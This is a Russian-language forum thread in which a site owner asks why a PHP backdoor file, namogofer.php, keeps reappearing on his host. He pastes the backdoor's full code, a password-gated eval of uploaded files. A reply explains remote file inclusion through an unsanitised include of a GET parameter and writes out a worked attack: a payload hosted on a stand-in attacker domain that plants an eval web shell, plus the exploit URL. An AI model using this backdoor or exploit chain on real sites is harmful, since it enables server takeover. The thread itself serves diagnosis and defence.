Взлом постоянно прописывается файл namogofer.php

  • Автор темы Автор темы snug
  • Дата начала Дата начала

snug

Новичок
Взлом постоянно прописывается файл namogofer.php

Здравствуйте. У меня на хостинге в директориях с разрешением 777 (chmod) прописывается файл namogofer.php

содержит такой код:
PHP:
 <?php error_reporting(1);  
 global $HTTP_SERVER_VARS;   
 function say($t) { echo "$t\n"; };    
 function testdata($t) { say(md5("testdata_$t")); };     
 echo "<pre>"; 
testdata('start');      
if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3")    
 { if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"]))           
 {  eval($code); }        
 else{           testdata('f');             };      }         
else{ testdata('pass'); }; testdata('end'); 
echo "</pre>"; ?>
Удаляю, прописывает заново. В гугле никаких конкретных советов не нашёл как убрать эту гадось.
Знаю что это бэкдор. Не пойму как он прописывается. Предполагаю? что пишется из скрипта этой строкой
@fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"]))

Пароль от ftp админки менял и не входил туда специально несколько дней. Не помогло.
Как вариант можно не использовать 777, но для меня не подходит.
Кто сталкивался, подксажите откуда он берётся, и как его убрать навсегда.
 
покажи свой дырявый сайт, тебе его еще раз 10 ломанут .-)

строка выполняет файл, поданный через аплоад
 
DiMA, тебе ничего не покажу. Уж больно ты любишь насехаться.
Я читал у людей, ставящих джумлу и нук- пхп та же самая проблема с папками 777.
 
пока меня не было дома, кто-то зашел и спер телик. я кладу ключи под коврик, правда и замок не закрывается. слышал, что у людей, закрывающих дверь на деревянную щеколду, та же проблема.
 
послушайте.
он не спрашивал, как работает этот файл.
он спрашивал, откуда он берется.
 
кстати, если хостинг гавеный, то достаточно дырки у соседа по серверу.

берется ессно элементарно - где то код вида include("$_GET[f].php")
 
> если хостинг гавеный, то достаточно дырки у соседа по серверу.
Думаю, так и есть, ибо 777 - зло.
 
fixxxer
На счёт телика ты конечно завернул . )
Ну а хоть чуток поконкретнее, как предупредить появление?
Да используется include. У меня так динамически создаются страницы. Как вЫчитал в инструкции, так и сделал. У меня через $_GET передаётся имя вызываемого файла. Получается мне надо в базе данных держать имена файлов и при передаче проверять наличие этого файла или может другие способы есть?

И ещё. Ну пусть я там написал, как вычитал в заметках беглого программиста, но так люди строившие Joomla, не глупые, почему тогда на этой cms Тоже такая байда ?
 
абисняю.

есть у тебя site.ru

index.php:
<?
include($_GET['f'] . '.php'); // проверки file_exists/isset ничего не меняют по сути так что опустим
?>

заходил кулхацкер с доменом coolhacker.com, размещает у себя файл hack.txt:
<? /* тут может быть рекурсивный поиск каталога с 777 */
file_put_contents('folder_with_777_rights/hole.php', '<?eval($_GET["eval"]);?>'); ?>

и пишет урл

http://site.ru/?f=http://coolhacker.com/hack.txt?

панятна?

а читать надо все с умом.

джумлу с нюками конечно тоже писали идиоты но там наверняка есть хотя бы basename() или иной фильтр ввода.
 
Сверху